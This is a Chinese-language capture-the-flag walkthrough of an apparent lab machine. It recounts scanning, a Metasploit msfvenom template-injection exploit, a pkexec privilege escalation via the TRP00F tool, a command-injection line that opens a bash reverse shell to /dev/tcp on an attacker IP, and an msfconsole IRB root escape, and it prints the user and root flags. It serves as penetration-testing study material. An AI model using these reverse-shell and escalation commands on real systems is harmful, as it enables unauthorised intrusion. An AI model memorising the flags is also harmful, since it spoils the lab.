Metasploit MSFvenom RCE + TRP00F权限提升 + Shell命令注入攻击链分析

1. 信息收集阶段

1.1 目标识别

• 目标IP: 10.10.10.226
• 使用的网络接口: tun0
• 存活检测命令:

ip='10.10.10.226'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";

1.2 端口扫描

使用masscan进行快速端口扫描:

ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')

1.3 服务识别

发现开放端口和服务:

• 22/tcp: OpenSSH 8.2p1 (Ubuntu Linux)
• 5000/tcp: Werkzeug httpd 0.16.1 (Python 3.8.5)

2. 初始攻击向量: MSFvenom RCE漏洞利用

2.1 漏洞背景

目标系统运行了一个基于Werkzeug的Python web应用(http://10.10.10.226:5000/)，其中包含MSFvenom功能，存在模板命令注入漏洞。

2.2 Metasploit利用步骤

1. 选择利用模块:

msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

2. 设置参数:

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lhost 10.10.16.28
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lport 443
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_netcat

3. 执行攻击:

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit

3. 权限提升: TRP00F工具利用

3.1 TRP00F工具介绍

TRP00F是一个权限提升工具，可从GitHub获取:

https://github.com/MartinxMax/trp00f

3.2 使用步骤

python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999

当提示是否利用pkexec漏洞时选择'y':

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

成功获取user权限后找到用户flag:

User.txt 644580568fbcc265d1ced3fddbc0c476

4. 横向移动: Shell命令注入

4.1 漏洞分析

目标系统存在命令注入漏洞:

• 使用单一空格字符作为字段分隔符(-d' ')
• 从第三个字段开始(-f3-)被视为IP地址部分
• 缺乏输入验证，导致任意命令执行

4.2 利用方法

通过向/home/kid/logs/hackers文件写入恶意命令实现RCE:

echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.16.28/443 0>&1")' > /home/kid/logs/hackers

5. 最终权限提升: Metasploit Console

5.1 利用方法

目标系统安装了Metasploit Framework，可以通过sudo权限执行msfconsole:

sudo /opt/metasploit-framework-6.0.9/msfconsole

5.2 IRB逃逸

在msfconsole中使用IRB逃逸到root shell:

msf6 > irb
>> system("/bin/bash")

成功获取root权限后找到root flag:

Root.txt db2144e9393c5bf0784e6ad50f97f7c1

6. 总结攻击链

1. 信息收集 → 2. MSFvenom RCE初始访问 → 3. TRP00F权限提升 → 4. Shell命令注入横向移动 → 5. Metasploit Console最终权限提升